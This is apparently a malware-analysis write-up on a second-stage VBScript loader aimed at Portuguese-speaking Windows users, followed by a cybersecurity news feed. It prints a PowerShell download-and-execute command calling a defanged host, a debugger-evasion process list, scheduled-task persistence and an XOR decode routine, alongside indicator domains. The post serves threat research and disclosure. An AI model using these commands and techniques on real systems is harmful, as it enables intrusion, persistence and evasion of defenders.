Loading...
You are here:  Home  >  Malware and Behavior Analysis  >  Current Article

WhatApp_PowerShell_VBS-S2

By   /  October 13, 2025  /  Comments Off on WhatApp_PowerShell_VBS-S2

    Print       Email

Overview
– Second-stage VBScript is executed in-memory via ExecuteGlobal by a Stage‑0 loader.
– Primary goals: Portuguese locale gating, anti-analysis checks, configuration bootstrap (IMAP → multi-domain /data.php → Pastebin), PowerShell stage launch, optional self-delete.

Locale Targeting (PT-BR/PT-PT)
—————————————————————-
Function CheckSystemLanguage()
‘ OSLanguage 1046 = pt-BR, 2070 = pt-PT
‘ Registry fallback: HKCU\Control Panel\International\sLanguage starts with “PT”
End Function

Anti‑Analysis (Debugger Process Checks)
—————————————————————-
debuggerList = Array(“ollydbg.exe”,”idaq.exe”,”x32dbg.exe”,”x64dbg.exe”,”windbg.exe”,”processhacker.exe”,”procmon.exe”)
For Each p In Win32_Process
If LCase(p.Name) In debuggerList Then Exit (altered flow/exit)
Next

Config Retrieval Order
—————————————————————-
1) IMAP (Terra mailbox)
– Host: imap.terra.com.br:993 (TLS)
– Flow: LOGIN → SELECT INBOX → SEARCH SUBJECT “data” → FETCH BODY[TEXT] → parse server/C2 URLs
2) Fallback domains (HTTP[S]) — all queried with /data.php
– lefthandsuperstructures[.]com
– clhttradinglimited[.]com
– mazdafinancialsevrices[.]com
– ricardasphotography[.]com
– jornalistaaurelianoborgesmidia[.]com
– cursosgratiss[.]com[.]br
– intelligentopennetworkingawards[.]com
– vinhomeshungyentheempires[.]com
– wbdiamonds[.]com
– pastebin[.]com/raw/SmCz4cp8 (secondary config source)
3) If a valid SERVER_URL / POWERSHELL_URL discovered → proceed to PS stage

Public IP Probe
—————————————————————-
– HTTP GET to api.ipify[.]org to record external IP

PowerShell Stage Construction (Excerpt)
—————————————————————-
‘ Build command with TLS12 + DownloadString + IEX to PS endpoint
powershell.exe -ep bypass “[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;iex ((New-Object Net.WebClient).DownloadString(‘https://miportuarios[.]com/sisti/api.ps1’))”

Persistence & Cleanup (Excerpt)
—————————————————————-
– Hide directory: attrib.exe +h +s “C:\ProgramData\WindowsManager\”
– Scheduled Task (OnStart, SYSTEM): “Windows Manager Services” → wscript.exe “C:\ProgramData\WindowsManager\WinManagers.vbs”
– Self‑delete via temp BAT after execution

Stage‑0 → Stage‑2 Decode Pattern (Representative)
—————————————————————-
‘ Stage‑0 emits pipe‑delimited numeric tokens and decodes with XOR‑derived subtractions, then Chr(…):
varX = CInt(token)
varX = (varX – (202 Xor 10)) Mod 256
varX = (varX – (178 Xor 159)) Mod 256
varX = (varX – (38 Xor 250)) Mod 256
varX = (varX – (234 Xor 37 )) Mod 256
decoded_char = Chr(varX)
‘ Decoded buffer ExecuteGlobal → Stage‑2 controller

    Print       Email
  • RSS feed: The Hacker News The Hacker News

    • New VOLTA Infostealer Uses Claude, Gemini, and Kimi AI to Rank Victims by Financial Value November 2, 2026
      Cybersecurity researchers have discovered a new Windows infostealer malware called VOLTA-AUTODOXER (aka VOLTA) that makes use of a large language model (LLM) to rank a victim's stolen data by their monetization value. Like other typical stealer families, VOLTA is equipped to harvest passwords and cookies from Chromium-based web browsers; data from Outlook profiles and Slack […]
    • CVSS 10.0 LXD, MicroCloud Flaw Lets Attackers Impersonate Trusted Clients Without a Private Key November 1, 2026
      A critical flaw in Canonical's LXD and MicroCloud let an attacker log in as a trusted client without holding that client's private key. To do it, the attacker had to reach their HTTPS API over the network and have the trusted client's public certificate. Once in, the attacker would act as that client, with access […]
    • Hackers Steal About $2.7 Million From Polymarket Traders via Hijacked DebugBear Script November 1, 2026
      Malicious code on the website of prediction market Polymarket sold some signed-in traders' positions and moved their funds to the hackers on October 29. The code had replaced a page-speed script that the site loaded from an outside company. Polymarket says it is refunding about $2.7 million to 726 affected wallets. Blockchain records show crypto worth about $2.64 […]
    • FBI Links North Korea's TraderTraitor to Record $6.43 Billion Binance Crypto Heist November 1, 2026
      The U.S. Federal Bureau of Investigation (FBI) has officially attributed the theft of more than $6 billion in virtual assets from Binance to TraderTraitor, a North Korea-aligned elite hacking group also tracked as Jade Sleet, Pressure Chollima, PUKCHONG, Slow Pisces, and UNC4899. The FBI, along with the U.S. Secret Service (USSS) and the Internal Revenue […]
    • NetamLoader Malware Targets Government Windows 10 Systems in Asia via .NET Injection November 1, 2026
      Cybersecurity researchers have disclosed details of what has been described as a "highly sophisticated infection chain" targeting government organizations in Asia. The activity, detailed by Kaspersky this week, targeted a custom Windows 10 build used exclusively by government entities in Asia and involves the deployment of a previously undocumented .NET assembly-loading framework codenamed

You might also like...

phishing-kit

Read More →